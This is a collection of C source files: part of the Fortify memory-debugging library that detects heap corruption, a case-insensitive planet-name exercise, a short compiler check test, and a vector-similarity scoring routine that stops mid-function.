if (!st_IsHeaderValid(h))
{
sprintf(st_Buffer,
#ifdef FORTIFY_NO_PERCENT_P
"\nFortify: Invalid pointer (0x%08lx) or corrupted header detected at %s.%lu\n",
#else
"\nFortify: Invalid pointer (%p) or corrupted header detected at %s.%lu\n",
#endif
ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE, file, line);
st_Output(st_Buffer);
st_OutputLastVerifiedPoint();
return (0);
}
if (!st_CheckFortification(ptr + FORTIFY_HEADER_SIZE,
FORTIFY_BEFORE_VALUE, FORTIFY_ALIGNED_BEFORE_SIZE))
{
sprintf(st_Buffer, "\nFortify: Underwrite detected before block %s at %s.%lu\n",
st_MemoryBlockString(h), file, line);
st_Output(st_Buffer);
st_OutputLastVerifiedPoint();
st_OutputFortification(ptr + FORTIFY_HEADER_SIZE,
FORTIFY_BEFORE_VALUE, FORTIFY_ALIGNED_BEFORE_SIZE);
result = 0;
#ifdef FORTIFY_FILL_ON_CORRUPTION
st_SetFortification(ptr + FORTIFY_HEADER_SIZE, FORTIFY_BEFORE_VALUE, FORTIFY_ALIGNED_BEFORE_SIZE);
#endif
}
if (!st_CheckFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE + h->Size,
FORTIFY_AFTER_VALUE, FORTIFY_AFTER_SIZE))
{
sprintf(st_Buffer, "\nFortify: Overwrite detected after block %s at %s.%lu\n",
st_MemoryBlockString(h), file, line);
st_Output(st_Buffer);
st_OutputLastVerifiedPoint();
st_OutputFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE + h->Size,
FORTIFY_AFTER_VALUE, FORTIFY_AFTER_SIZE);
result = 0;
#ifdef FORTIFY_FILL_ON_CORRUPTION
st_SetFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE + h->Size,
FORTIFY_AFTER_VALUE, FORTIFY_AFTER_SIZE);
#endif
}
return (result);
}
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
/*
* st_CheckDeallocatedBlock - Check a deallocated block's header and fortifications.
* Returns true if the block is happy.
*/
static int
st_CheckDeallocatedBlock(struct Header *h, const char *file, unsigned long line)
{
unsigned char *ptr = (unsigned char *)h;
int result = 1;
if (!st_IsHeaderValid(h))
{
sprintf(st_Buffer,
#ifdef FORTIFY_NO_PERCENT_P
"\nFortify: Invalid deallocated pointer (0x%08lx) or corrupted header detected at %s.%lu\n",
#else
"\nFortify: Invalid deallocated pointer (%p) or corrupted header detected at %s.%lu\n",
#endif
ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE, file, line);
st_Output(st_Buffer);
st_OutputLastVerifiedPoint();
return (0);
}
if (!st_CheckFortification(ptr + FORTIFY_HEADER_SIZE,
FORTIFY_BEFORE_VALUE, FORTIFY_ALIGNED_BEFORE_SIZE))
{
sprintf(st_Buffer, "\nFortify: Underwrite detected before deallocated block %s at %s.%lu\n",
st_MemoryBlockString(h), file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, " Memory block was deallocated by \"%s\" at %s.%lu\n",
st_DeallocatorName[h->Deallocator], h->FreedFile, h->FreedLine);
st_Output(st_Buffer);
st_OutputLastVerifiedPoint();
st_OutputFortification(ptr + FORTIFY_HEADER_SIZE,
FORTIFY_BEFORE_VALUE, FORTIFY_ALIGNED_BEFORE_SIZE);
#ifdef FORTIFY_FILL_ON_CORRUPTION
st_SetFortification(ptr + FORTIFY_HEADER_SIZE, FORTIFY_BEFORE_VALUE, FORTIFY_ALIGNED_BEFORE_SIZE);
#endif
result = 0;
}
if (!st_CheckFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE + h->Size,
FORTIFY_AFTER_VALUE, FORTIFY_AFTER_SIZE))
{
sprintf(st_Buffer, "\nFortify: Overwrite detected after deallocated block %s at %s.%lu\n",
st_MemoryBlockString(h), file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, " Memory block was deallocated by \"%s\" at %s.%lu\n",
st_DeallocatorName[h->Deallocator], h->FreedFile, h->FreedLine);
st_Output(st_Buffer);
st_OutputLastVerifiedPoint();
st_OutputFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE + h->Size,
FORTIFY_AFTER_VALUE, FORTIFY_AFTER_SIZE);
#ifdef FORTIFY_FILL_ON_CORRUPTION
st_SetFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE + h->Size,
FORTIFY_AFTER_VALUE, FORTIFY_AFTER_SIZE);
#endif
result = 0;
}
#ifdef FORTIFY_FILL_ON_DEALLOCATE
if (!st_CheckFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
FORTIFY_FILL_ON_DEALLOCATE_VALUE, h->Size))
{
sprintf(st_Buffer, "\nFortify: Write to deallocated block %s detected at %s.%lu\n",
st_MemoryBlockString(h), file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, " Memory block was deallocated by \"%s\" at %s.%lu\n",
st_DeallocatorName[h->Deallocator], h->FreedFile, h->FreedLine);
st_Output(st_Buffer);
st_OutputLastVerifiedPoint();
st_OutputFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
FORTIFY_FILL_ON_DEALLOCATE_VALUE, h->Size);
#ifdef FORTIFY_FILL_ON_CORRUPTION
st_SetFortification(ptr + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
FORTIFY_FILL_ON_DEALLOCATE_VALUE, h->Size);
#endif /* FORTIFY_FILL_ON_CORRUPTION */
result = 0;
}
#endif /* FORTIFY_FILL_ON_DEALLOCATE */
return result;
}
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
/*
* st_CheckFortification - Checks if the _size_
* bytes from _ptr_ are all set to _value_
* Returns true if all is happy.
*/
static int
st_CheckFortification(unsigned char *ptr, unsigned char value, size_t size)
{
while (size--)
if (*ptr++ != value)
return (0);
return (1);
}
/*
* st_SetFortification - Set the _size_ bytes from _ptr_ to _value_.
*/
static void
st_SetFortification(unsigned char *ptr, unsigned char value, size_t size)
{
memset(ptr, value, size);
}
/*
* st_OutputFortification - Output the corrupted section of the fortification
*/
static void
st_OutputFortification(unsigned char *ptr, unsigned char value, size_t size)
{
size_t offset, skipped, advance;
offset = 0;
sprintf(st_Buffer, " Address Offset Data (%02x)", value);
st_Output(st_Buffer);
while (offset < size)
{
/*
* Skip 3 or more 'correct' lines
*/
if ((size - offset) < 3 * 16)
advance = size - offset;
else
advance = 3 * 16;
if (advance > 0 && st_CheckFortification(ptr + offset, value, advance))
{
offset += advance;
skipped = advance;
if (size - offset < 16)
advance = size - offset;
else
advance = 16;
while (advance > 0 && st_CheckFortification(ptr + offset, value, advance))
{
offset += advance;
skipped += advance;
if (size - offset < 16)
advance = size - offset;
else
advance = 16;
}
sprintf(st_Buffer, "\n ...%lu bytes skipped...", (unsigned long)skipped);
st_Output(st_Buffer);
continue;
}
else
{
if (size - offset < 16)
st_HexDump(ptr, offset, size - offset, 0);
else
st_HexDump(ptr, offset, 16, 0);
offset += 16;
}
}
st_Output("\n");
}
/*
* st_HexDump - output a nice hex dump of "size" bytes, starting at "ptr" + "offset"
*/
static void
st_HexDump(unsigned char *ptr, size_t offset, size_t size, int title)
{
char ascii[17];
int column;
int output;
if (title)
st_Output(" Address Offset Data");
column = 0;
ptr += offset;
output = 0;
while (output < size)
{
if (column == 0)
{
#ifdef FORTIFY_NO_PERCENT_P
sprintf(st_Buffer, "\n0x%08lx %8lu ", ptr, (unsigned long)offset);
#else
sprintf(st_Buffer, "\n%10p %8lu ", ptr, (unsigned long)offset);
#endif
st_Output(st_Buffer);
}
sprintf(st_Buffer, "%02x%s", *ptr, ((column % 4) == 3) ? " " : "");
st_Output(st_Buffer);
ascii[ column ] = isprint(*ptr) ? (char)(*ptr) : (char)('.');
ascii[ column + 1 ] = '\0';
ptr++;
offset++;
output++;
column++;
if (column == 16)
{
st_Output(" \"");
st_Output(ascii);
st_Output("\"");
column = 0;
}
}
if (column != 0)
{
while (column < 16)
{
if (column % 4 == 3)
st_Output(" ");
else
st_Output(" ");
column++;
}
st_Output(" \"");
st_Output(ascii);
st_Output("\"");
}
}
/*
* st_IsHeaderValid - Returns true if the
* supplied pointer does indeed point to a
* real Header
*/
static int
st_IsHeaderValid(struct Header *h)
{
return (st_ChecksumHeader(h) == FORTIFY_CHECKSUM_VALUE);
}
/*
* st_MakeHeaderValid - Updates the checksum
* to make the header valid
*/
static void
st_MakeHeaderValid(struct Header *h)
{
h->Checksum = 0;
h->Checksum = (unsigned short)(FORTIFY_CHECKSUM_VALUE - st_ChecksumHeader(h));
}
/*
* st_ChecksumHeader - Calculate (and return)
* the checksum of the header. (Including the
* Checksum field itself. If all is well, the
* checksum returned by this function should
* be FORTIFY_CHECKSUM_VALUE
*/
static unsigned short
st_ChecksumHeader(struct Header *h)
{
unsigned short c, checksum, *p;
for (c = 0, checksum = 0, p = (unsigned short *)h;
c < FORTIFY_HEADER_SIZE / sizeof(unsigned short); c++)
{
checksum += *p++;
}
return (checksum);
}
/*
* st_IsOnAllocatedList - Examines the allocated
* list to see if the given header is on it.
*/
static int
st_IsOnAllocatedList(struct Header *h)
{
struct Header *curr;
curr = st_AllocatedHead;
while (curr)
{
if (curr == h)
return (1);
curr = curr->Next;
}
return (0);
}
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
/*
* st_IsOnDeallocatedList - Examines the deallocated
* list to see if the given header is on it.
*/
static int
st_IsOnDeallocatedList(struct Header *h)
{
struct Header *curr;
curr = st_DeallocatedHead;
while (curr)
{
if (curr == h)
return (1);
curr = curr->Next;
}
return (0);
}
/*
* st_PurgeDeallocatedBlocks - free at least "Bytes"
* worth of deallocated memory, starting at the
* oldest deallocated block.
* Returns true if any blocks were freed.
*/
static int
st_PurgeDeallocatedBlocks(unsigned long Bytes, const char *file, unsigned long line)
{
unsigned long FreedBytes = 0;
unsigned long FreedBlocks = 0;
#ifdef FORTIFY_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY
sprintf(st_Buffer, "\nFortify: Warning - Discarding deallocated memory at %s.%lu\n",
file, line);
st_Output(st_Buffer);
#endif /* FORTIFY_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY */
while (st_DeallocatedTail && FreedBytes < Bytes)
{
st_CheckDeallocatedBlock(st_DeallocatedTail, file, line);
FreedBytes += st_DeallocatedTail->Size;
FreedBlocks++;
#ifdef FORTIFY_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY
#ifdef FORTIFY_VERBOSE_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY
sprintf(st_Buffer, " %s\n",
st_DeallocatedMemoryBlockString(st_DeallocatedTail));
st_Output(st_Buffer);
#endif /* FORTIFY_VERBOSE_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY */
#endif /* FORTIFY_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY */
st_FreeDeallocatedBlock(st_DeallocatedTail, file, line);
}
return FreedBlocks != 0;
}
/*
* st_PurgeDeallocatedScope - free all deallocated
* memory blocks that were allocated within "Scope"
*/
static int
st_PurgeDeallocatedScope(unsigned char Scope, const char *file, unsigned long line)
{
struct Header *curr, *next;
unsigned long FreedBlocks = 0;
curr = st_DeallocatedHead;
while (curr)
{
next = curr->Next;
if (curr->Scope >= Scope)
{
st_FreeDeallocatedBlock(curr, file, line);
FreedBlocks++;
}
curr = next;
}
return FreedBlocks != 0;
}
/*
* st_FreeDeallocatedBlock - actually remove
* a deallocated block from the deallocated
* list, and actually free it's memory.
*/
static void
st_FreeDeallocatedBlock(struct Header *h, const char *file, unsigned long line)
{
st_CheckDeallocatedBlock(h, file, line);
/*
* Begin Critical region
*/
FORTIFY_LOCK();
st_TotalDeallocated -= h->Size;
if (st_DeallocatedHead == h)
{
st_DeallocatedHead = h->Next;
}
if (st_DeallocatedTail == h)
{
st_DeallocatedTail = h->Prev;
}
if (h->Prev)
{
st_CheckDeallocatedBlock(h->Prev, file, line);
h->Prev->Next = h->Next;
st_MakeHeaderValid(h->Prev);
}
if (h->Next)
{
st_CheckDeallocatedBlock(h->Next, file, line);
h->Next->Prev = h->Prev;
st_MakeHeaderValid(h->Next);
}
/*
* Free the label
*/
if (h->Label)
{
free(h->Label);
}
/*
* Nuke out all memory that is about to be freed, including the header
*/
st_SetFortification((unsigned char *)h, FORTIFY_FILL_ON_DEALLOCATE_VALUE,
FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE + h->Size + FORTIFY_AFTER_SIZE);
/*
* And do the actual free
*/
free(h);
/*
* End critical region
*/
FORTIFY_UNLOCK();
}
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
/*
* st_OutputMemory - Hex and ascii dump the
* user memory of a block.
*/
static void
st_OutputMemory(struct Header *h)
{
st_HexDump((unsigned char *)h + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
0, h->Size, 1);
}
/*
* st_OutputHeader - Output the header
*/
static void
st_OutputHeader(struct Header *h)
{
if (h->Label == NULL)
{
#ifdef FORTIFY_NO_PERCENT_P
sprintf(st_Buffer, "0x%08lx %8lu %s.%lu\n",
#else
sprintf(st_Buffer, "%10p %8lu %s.%lu\n",
#endif
(unsigned char *)h + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
(unsigned long)h->Size,
h->File, h->Line);
}
else
{
#ifdef FORTIFY_NO_PERCENT_P
sprintf(st_Buffer, "0x%08lx %8lu %s.%lu %s\n",
#else
sprintf(st_Buffer, "%10p %8lu %s.%lu %s\n",
#endif
(unsigned char *)h + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
(unsigned long)h->Size,
h->File, h->Line, h->Label);
}
st_Output(st_Buffer);
}
/*
* st_OutputLastVerifiedPoint - output the last
* known point where everything was hoopy.
*/
static void
st_OutputLastVerifiedPoint(void)
{
sprintf(st_Buffer, " Memory integrity was last verified at %s.%lu\n",
st_LastVerifiedFile,
st_LastVerifiedLine);
st_Output(st_Buffer);
}
/*
* st_MemoryBlockString - constructs a string that
* desribes a memory block. (pointer,size,allocator,label)
*/
static const char *
st_MemoryBlockString(struct Header *h)
{
static char st_BlockString[512];
if (h->Label == 0)
{
#ifdef FORTIFY_NO_PERCENT_P
sprintf(st_BlockString, "(0x%08lx,%lu,%s.%lu)",
#else
sprintf(st_BlockString, "(%p,%lu,%s.%lu)",
#endif
(char *)h + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
(unsigned long)h->Size, h->File, h->Line);
}
else
{
#ifdef FORTIFY_NO_PERCENT_P
sprintf(st_BlockString, "(0x%08lx,%lu,%s.%lu,%s)",
#else
sprintf(st_BlockString, "(%p,%lu,%s.%lu,%s)",
#endif
(char *)h + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
(unsigned long)h->Size, h->File, h->Line, h->Label);
}
return st_BlockString;
}
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
#ifdef FORTIFY_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY
#ifdef FORTIFY_VERBOSE_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY
/*
* st_DeallocatedMemoryBlockString - constructs
* a string that desribes a deallocated memory
* block. (pointer,size,allocator,deallocator)
*/
static const char *
st_DeallocatedMemoryBlockString(struct Header *h)
{
static char st_BlockString[256];
if (h->Label == 0)
{
#ifdef FORTIFY_NO_PERCENT_P
sprintf(st_BlockString, "(0x%08lx,%lu,%s.%lu,%s.%lu)",
#else
sprintf(st_BlockString, "(%p,%lu,%s.%lu,%s.%lu)",
#endif
(char *)h + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
(unsigned long)h->Size, h->File, h->Line, h->FreedFile, h->FreedLine);
}
else
{
#ifdef FORTIFY_NO_PERCENT_P
sprintf(st_BlockString, "(0x%08lx,%lu,%s.%lu,%s.%lu,%s)",
#else
sprintf(st_BlockString, "(%p,%lu,%s.%lu,%s.%lu,%s)",
#endif
(char *)h + FORTIFY_HEADER_SIZE + FORTIFY_ALIGNED_BEFORE_SIZE,
(unsigned long)h->Size, h->File, h->Line, h->FreedFile, h->FreedLine, h->Label);
}
return st_BlockString;
}
#endif /* FORTIFY_VERBOSE_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY */
#endif /* FORTIFY_WARN_WHEN_DISCARDING_DEALLOCATED_MEMORY */
#endif /* FORTIFY_TRACK_DEALLOCATED_MEMORY */
/*
* st_DefaultOutput - the default output function
*/
static void
st_DefaultOutput(const char *String)
{
fprintf(stdout, "%s", String);
fflush(stdout);
}
/*
* Fortify_malloc - Fortify's replacement malloc()
*/
void *FORTIFY_STORAGE
Fortify_malloc(size_t size, const char *file, unsigned long line)
{
return Fortify_Allocate(size, Fortify_Allocator_malloc, file, line);
}
/*
* Fortify_realloc - Fortify's replacement realloc()
*/
void *
Fortify_realloc(void *uptr, size_t new_size, const char *file, unsigned long line)
{
unsigned char *ptr = (unsigned char *)uptr - FORTIFY_HEADER_SIZE - FORTIFY_ALIGNED_BEFORE_SIZE;
struct Header *h = (struct Header *)ptr;
void *new_ptr;
/*
* If Fortify is disabled, we gotta do this a little
* differently.
*/
if (!st_Disabled)
{
if (!uptr)
return (Fortify_Allocate(new_size, Fortify_Allocator_realloc, file, line));
if (!st_IsOnAllocatedList(h))
{
#ifdef FORTIFY_TRACK_DEALLOCATED_MEMORY
if (st_IsOnDeallocatedList(h))
{
sprintf(st_Buffer, "\nFortify: Deallocated memory block passed to \"%s\" at %s.%lu\n",
st_AllocatorName[Fortify_Allocator_realloc], file, line);
st_Output(st_Buffer);
sprintf(st_Buffer, " Memory block %s was deallocated by \"%s\" at %s.%lu\n",
st_MemoryBlockString(h),
st_DeallocatorName[h->Deallocator], h->FreedFile, h->FreedLine);
st_Output(st_Buffer);
return 0;
}
#endif
sprintf(st_Buffer,
#ifdef FORTIFY_NO_PERCENT_P
"\nFortify: Invalid pointer (0x%08lx) passed to realloc at %s.%lu\n",
#else
"\nFortify: Invalid pointer (%p) passed to realloc at %s.%lu\n",
#endif
ptr, file, line);
st_Output(st_Buffer);
return 0;
}
if (!st_CheckBlock(h, file, line))
return 0;
new_ptr = Fortify_Allocate(new_size, Fortify_Allocator_realloc, file, line);
if (!new_ptr)
{
return (0);
}
if (h->Size < new_size)
memcpy(new_ptr, uptr, h->Size);
else
memcpy(new_ptr, uptr, new_size);
Fortify_Deallocate(uptr, Fortify_Deallocator_realloc, file, line);
return (new_ptr);
}
else
{
/*
* If the old block was fortified, we can't use normal realloc.
*/
if (st_IsOnAllocatedList(h))
{
new_ptr = Fortify_Allocate(new_size, Fortify_Allocator_realloc, file, line);
if (!new_ptr)
return (0);
if (h->Size < new_size)
memcpy(new_ptr, uptr, h->Size);
else
memcpy(new_ptr, uptr, new_size);
Fortify_Deallocate(uptr, Fortify_Deallocator_realloc, file, line);
return (new_ptr);
}
else /* easy */
{
return realloc(uptr, new_size);
}
}
}
/*
* Fortify_calloc - Fortify's replacement calloc
*/
void *
Fortify_calloc(size_t num, size_t size, const char *file, unsigned long line)
{
if (!st_Disabled)
{
void *ptr = Fortify_Allocate(size * num, Fortify_Allocator_calloc, file, line);
if (ptr)
{
memset(ptr, 0, size * num);
}
return ptr;
}
else
{
return calloc(num, size);
}
}
/*
* Fortify_free - Fortify's replacement free
*/
void
Fortify_free(void *uptr, const char *file, unsigned long line)
{
/* it is defined to be safe to free(0) */
if (uptr == 0)
return;
Fortify_Deallocate(uptr, Fortify_Deallocator_free, file, line);
}
/*
* Fortify_strdup - Fortify's replacement strdup. Since strdup isn't
* ANSI, it is only provided if FORTIFY_STRDUP is defined.
*/
#ifdef FORTIFY_STRDUP
char *FORTIFY_STORAGE
Fortify_strdup(const char *oldStr, const char *file, unsigned long line)
{
if (!st_Disabled)
{
char *newStr = Fortify_Allocate(strlen(oldStr) + 1, Fortify_Allocator_strdup, file, line);
if (newStr)
{
strcpy(newStr, oldStr);
}
return newStr;
}
else
{
return strdup(oldStr);
}
}
#endif /* FORTIFY_STRDUP */
static void
st_OutputDeleteTrace(void)
{
#ifdef __cplusplus
if (st_DeleteStackTop > 1)
{
sprintf(st_Buffer, "Delete Trace: %s.%lu\n", st_DeleteFile[st_DeleteStackTop - 1],
st_DeleteLine[st_DeleteStackTop - 1]);
st_Output(st_Buffer);
for (int c = st_DeleteStackTop - 2; c >= 0; c--)
{
sprintf(st_Buffer, " %s.%lu\n", st_DeleteFile[c],
st_DeleteLine[c]);
st_Output(st_Buffer);
}
}
#endif
}
#ifdef __cplusplus
/*
* st_NewHandler() - there is no easy way to get
* the new handler function. And isn't it great
* how the new handler doesn't take a parameter
* giving the size of the request that failed.
* Thanks Bjarne!
*/
Fortify_NewHandlerFunc
st_NewHandler()
{
/* get the current handler */
Fortify_NewHandlerFunc handler = set_new_handler(0);
/* and set it back (since we cant
* get it without changing it)
*/
set_new_handler(handler);
return handler;
}
/*
* operator new - Fortify's replacement new,
* without source-code information.
*/
void *FORTIFY_STORAGE
operator new (size_t size)
{
void *p;
while ((p = Fortify_Allocate(size, Fortify_Allocator_new,
st_AllocatorName[Fortify_Allocator_new], 0)) == 0)
{
if (st_NewHandler())
(*st_NewHandler())();
else
return 0;
}
return p;
}
/*
* operator new - Fortify's replacement new,
* with source-code information
*/
void *FORTIFY_STORAGE
operator new (size_t size, const char *file, unsigned long line)
{
void *p;
while ((p = Fortify_Allocate(size, Fortify_Allocator_new, file, line)) == 0)
{
if (st_NewHandler())
(*st_NewHandler())();
else
return 0;
}
return p;
}
#ifdef FORTIFY_PROVIDE_ARRAY_NEW
/*
* operator new[], without source-code info
*/
void *FORTIFY_STORAGE
operator new[](size_t size)
{
void *p;
while ((p = Fortify_Allocate(size, Fortify_Allocator_array_new,
st_AllocatorName[Fortify_Allocator_array_new], 0)) == 0)
{
if (st_NewHandler())
(*st_NewHandler())();
else
return 0;
}
return p;
}
/*
* operator new[], with source-code info
*/
void *FORTIFY_STORAGE
operator new[](size_t size, const char *file, unsigned long line)
{
void *p;
while ((p = Fortify_Allocate(size, Fortify_Allocator_array_new, file, line)) == 0)
{
if (st_NewHandler())
(*st_NewHandler())();
else
return 0;
}
return p;
}
#endif /* FORTIFY_PROVIDE_ARRAY_NEW */
/*
* Fortify_PreDelete - C++ does not allow overloading
* of delete, so the delete macro calls Fortify_PreDelete
* with the source-code info, and then calls delete.
*/
void FORTIFY_STORAGE
Fortify_PreDelete(const char *file, unsigned long line)
{
FORTIFY_LOCK();
/*
* Push the source code info for the delete onto the delete stack
* (if we have enough room, of course)
*/
if (st_DeleteStackTop < FORTIFY_DELETE_STACK_SIZE)
{
st_DeleteFile[st_DeleteStackTop] = file;
st_DeleteLine[st_DeleteStackTop] = line;
}
st_DeleteStackTop++;
}
/*
* Fortify_PostDelete() - Pop the delete source-code info
* off the source stack.
*/
void FORTIFY_STORAGE
Fortify_PostDelete()
{
st_DeleteStackTop--;
FORTIFY_UNLOCK();
}
/*
* operator delete - fortify's replacement delete
*/
void FORTIFY_STORAGE
operator delete (void *uptr)
{
const char *file;
unsigned long line;
/*
* It is defined to be harmless to delete 0
*/
if (uptr == 0)
return;
/*
* find the source-code info
*/
if (st_DeleteStackTop)
{
if (st_DeleteStackTop < FORTIFY_DELETE_STACK_SIZE)
{
file = st_DeleteFile[st_DeleteStackTop - 1];
line = st_DeleteLine[st_DeleteStackTop - 1];
}
else
{
file = st_DeleteFile[FORTIFY_DELETE_STACK_SIZE - 1];
line = st_DeleteLine[FORTIFY_DELETE_STACK_SIZE - 1];
}
}
else
{
file = st_DeallocatorName[Fortify_Deallocator_delete];
line = 0;
}
Fortify_Deallocate(uptr, Fortify_Deallocator_delete, file, line);
}
#ifdef FORTIFY_PROVIDE_ARRAY_DELETE
/*
* operator delete[] - fortify's replacement delete[]
*/
void FORTIFY_STORAGE
operator delete[](void *uptr)
{
const char *file;
unsigned long line;
/*
* It is defined to be harmless to delete 0
*/
if (uptr == 0)
return;
/*
* find the source-code info
*/
if (st_DeleteStackTop)
{
if (st_DeleteStackTop < FORTIFY_DELETE_STACK_SIZE)
{
file = st_DeleteFile[st_DeleteStackTop - 1];
line = st_DeleteLine[st_DeleteStackTop - 1];
}
else
{
file = st_DeleteFile[FORTIFY_DELETE_STACK_SIZE - 1];
line = st_DeleteLine[FORTIFY_DELETE_STACK_SIZE - 1];
}
}
else
{
file = st_DeallocatorName[Fortify_Deallocator_array_delete];
line = 0;
}
Fortify_Deallocate(uptr, Fortify_Deallocator_array_delete, file, line);
}
#endif /* FORTIFY_PROVIDE_ARRAY_DELETE */
#ifdef FORTIFY_AUTOMATIC_LOG_FILE
/* Automatic log file stuff!
*
* AutoLogFile class. There can only ever be ONE of these
* instantiated! It is a static class, which means that
* it's constructor will be called at program initialization,
* and it's destructor will be called at program termination.
* We don't know if the other static class objects have been
* constructed/destructed yet, but this pretty much the best
* we can do with standard C++ language features.
*/
class Fortify_AutoLogFile
{
static FILE *fp;
static int written_something;
static char *init_string, *term_string;
public:
Fortify_AutoLogFile()
{
written_something = 0;
Fortify_SetOutputFunc(Fortify_AutoLogFile::Output);
Fortify_EnterScope(init_string, 0);
}
static void Output(const char *s)
{
if (written_something == 0)
{
FORTIFY_FIRST_ERROR_FUNCTION;
fp = fopen(FORTIFY_LOG_FILENAME, "w");
if (fp)
{
time_t t;
time(&t);
fprintf(fp, "Fortify log started at %s\n", ctime(&t));
written_something = 1;
}
}
if (fp)
{
fputs(s, fp);
fflush(fp);
}
}
~Fortify_AutoLogFile()
{
Fortify_LeaveScope(term_string, 0);
Fortify_CheckAllMemory(term_string, 0);
if (fp)
{
time_t t;
time(&t);
fprintf(fp, "\nFortify log closed at %s\n", ctime(&t));
fclose(fp);
fp = 0;
}
}
};
FILE *Fortify_AutoLogFile::fp = 0;
int Fortify_AutoLogFile::written_something = 0;
char *Fortify_AutoLogFile::init_string = "Program Initialization";
char *Fortify_AutoLogFile::term_string = "Program Termination";
static Fortify_AutoLogFile Abracadabra;
#endif /* FORTIFY_AUTOMATIC_LOG_FILE */
#endif /* __cplusplus */
#endif /* FORTIFY */
|
the_stack_data/206266.c | // Modify the planet.c program from the book
// In such a way that it won't be case sensitive anymore
/* planet.c (Chapter 13, page 304) */
/* Checks planet names */
#include <stdio.h>
#include <string.h>
#include <ctype.h> // Added it for tolower
#define NUM_PLANETS 9
int main(int argc, char *argv[])
{
char *planets[] = {"mercury", "venus", "earth",
"mars", "jupiter", "saturn",
"uranus", "neptune", "pluto"}; // changed all to lowercase
int i, j;
//As much as i hate it, a third loop would be the easiest option
for (i = 1; i < argc; i++)
{
// changing each letter in the string entered by user to lowercase
for (int k = 0; k < strlen(argv[i]); k++)
argv[i][k] = tolower(argv[i][k]);
for (j = 0; j < NUM_PLANETS; j++)
{
if (strcmp(argv[i], planets[j]) == 0)
{
printf("%s is planet %d\n", argv[i], j + 1);
break;
}
}
if (j == NUM_PLANETS)
printf("%s is not a planet\n", argv[i]);
}
return 0;
}
|
the_stack_data/107951789.c | // RUN: %check %s
void f(int *);
void g(void);
void f(int *f)
{
if(f == (void *)0) // CHECK: !/warn/
g();
}
|
the_stack_data/81478.c | #include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
/*
portable time function
*/
#ifdef __GNUC__
#include <time.h>
float getticks()
{
struct timespec ts;
if(clock_gettime(CLOCK_MONOTONIC, &ts) < 0)
{
printf("# clock_gettime error\n");
return -1.0f;
}
return ts.tv_sec + 1e-9f*ts.tv_nsec;
}
#else
#include <windows.h>
float getticks()
{
static double freq = -1.0;
LARGE_INTEGER lint;
if(freq < 0.0)
{
if(!QueryPerformanceFrequency(&lint))
return -1.0f;
freq = lint.QuadPart;
}
if(!QueryPerformanceCounter(&lint))
return -1.0f;
return (float)( lint.QuadPart/freq );
}
#endif
/*
*/
int get_score_h(void* bag1, void* bag2)
{
int i, n;
float sim, sv1, sv2;
float* v1;
float* v2;
//
if(*(int*)bag1 != *(int*)bag2)
return 0;
n = *(int*)bag1;
//
v1 = (float*)(1+(int*)bag1);
v2 = (float*)(1+(int*)bag2);
sim = 0.0f;
sv1 = 0.0f;
sv2 = 0.0f;
for(i=0; i<n; ++i)
{
//
sim = sim + v1[i]*v2[i];
//
sv1 = sv1 + v1[i]*v1[i];
sv2 = sv2 + v2[i]*v2[i];
}
//
int score;
if(sv1<=0.0f || sv2<=0.0f)
score = 0;
else
score = (int)(1024.0f*(0.5f + 0.5f*sim/sqrtf(sv1)/sqrtf(sv2)));
return score;
/*
sim = 0.0f;
for(i=0; i<n; ++i)
if(v1[i] < v2[i])
sim = sim + v1[i];
else
sim = sim + v2[i];
return (int)(1024*sim);
*/
}
/*
*/
float edist(float v1[], float v2[], int ndims)
{
float accum;
int i;
//
accum = 0.0f;
for(i=0; i<ndims; ++i)
accum += (v1[i]-v2[i])*(v1[i]-v2[i]);
//
return sqrt(accum);
}
int get_score_f(void* bag1, void* bag2, float t)
{
int i, j, n, n1, n2, ndims;
float* s1;
float* s2;
float d;
//
ndims = *(int*)bag1;
if(ndims != *(int*)bag2)
return 0;
//
n = 0;
if(*(1+(int*)bag1) < *(1+(int*)bag2))
{
n1 = *(1+(int*)bag1);
s1 = (float*)( 2+(int*)bag1 );
n2 = *(1+(int*)bag2);
s2 = (float*)( 2+(int*)bag2 );
}
else
{
n1 = *(1+(int*)bag2);
